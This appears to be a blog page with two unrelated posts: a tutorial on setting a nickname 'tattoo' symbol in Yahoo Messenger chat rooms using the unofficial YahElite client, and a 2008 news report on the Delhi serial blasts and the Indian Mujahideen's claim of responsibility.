Tattoo in yahoo messenger meant a symbol or an icon such as star, heart, clock, flash, circle, car, square, triangle, etc, that embedded with nickname in yahoo messenger. Tattoo only appear when we enter to chat room and type a message in there. Tattoo is a unique character. If you have seen this kind of tattoo before, I believe, in the first sight you are amazed and wondered. How does tattoo work? How do they make it?

You are wondering because you actually do not know how to make a kind of tattoo like what you saw in chat room. When you go to figure it out trough yahoo messenger’s help, you never get the answer. This because official yahoo messenger does not have a facility to made a tattoo. The only answer you will get is seeking the answer via Google. May be you find this page because of uncle Google who directed you to this page.

How to Make a Tattoo

The tattoo usually available in some of unofficial chat clients, but not all unofficial chat clients support and have a tattoo. Especially, if you use official yahoo messenger, you will not find this service. Yazak, YahElite, Y!mLite, Yam, Jam, and some of unofficial chat clients have this tattoo service. I will guarantee if you saw a nickname that has a tattoo, its mean that username use unofficial chat client.

After you already know an unofficial chat client produces a tattoo, the next step (if you want to make or use a tattoo) is install one of kind of unofficial chat clients. I will give you an example to use a tattoo via YahElite chat client.

YahElite Tattoo

Start your YahElite chat client. Then login to yahoo. When you have being connected and have being joined a room, click a menu task bar. Go to toolKit menu and click Attribute, click ChatScreenAppearance. From here, you will see a new window appear and the window show you many options. Under “Your text is shown” button, check “My Tattoo”. The default tattoo in YahElite is a blue star. You can change this tattoo by change the character of font. Blue star is under “Wingdings 12”. Just click the button that has a text “Wingdings 12” and you can pick a lot of symbols or characters supported by Wingdings 12”. You can have more symbols by change to other font (available: custom, marlett, symbol, Webdings, Wingdings, Wingding 2, and Wingding 3). You can also change the color of your tattoo by click a button color pallet (right of “Your text is shown” button).

Try to use your tattoo by typing a message in chat room. If you want to convinced your tattoo working, login your another username or ID via official yahoo messenger. Thus, joined your username to the same chat room that you been login before. Watch your tattoo working or not.

For others chat clients you can try the tattoo by your self.

Happy Chat!

Also See...

Yahoo Messenger Booter and ID Blocking Softwares

Yahoo Booter Prevention

Delhi blast: Indian Mujahideen takes responsibility

2008-09-14T10:56:00.001+05:30

The militant outfit Indian Mujahideen has claimed responsibility of Delhi serial blast which went up on Saturday evening leaving at least 18 dead and scores injured.

Reportedly, in an e-mail to a private news channel the militant organisation that had earlier taken responsibility of July 26 Ahmedabad serial bombings made this claim, though the police is unsure about its involvement.

Meanwhile, the police had said that that they didn’t have any prior intelligence input on these blasts.

As per reports, the Islamic militant group had sent a mail to Zee News, which claimed that nine blasts would be strike Delhi within five minutes. The mail was sent by ‘Arbi Hind’ from the email id al-arbi_delhi@yahoo.com.

The five blasts that rocked the national capital in different busy market places have so far claimed 18 lives and injured over 100. The injured have been immediately rushed to the nearest Ram Manohar Lohia (RML) Hospital.

The blasts at Ghaffar market in Karol Bagh, Connaught Place and Greater Kailash took place in a quick succession, police said.

The first blast took place at Ghaffar market at 6.10 p.m. in which at least 20 people were injured.

Immediately after that, two explosions took place in Connaught Place in which at least 10 people were injured.

Another explosion rocked M-Block market in Greater Kailash-I.

Senior Police officials including Joint Commissioner of Police Karnail Singh had rushed to the spot in the central district and were assessing the situation.

President, Prime Minister condemn blasts

The Prime Minister, President, Vice President and Home Minister have strongly condemned serial blasts in the heart of Indian capital Delhi.

President Pratibha Devisingh Patil has been grieved by the tragic turn of events in Delhi. She has strongly condemned the serial blasts and condoled the loss of lives in this mindless act of violence. The President wishes speedy recovery to the injured and appeals to the people of Delhi to maintain peace and calm in the face of this adversity.

Prime Minister too expressed shock that the blasts have caused fatalities and casualties among innocent people. He said that such dastardly acts of violence are intended to disturb peace and harmony and should be thwarted. He appealed to all sections to maintain calm.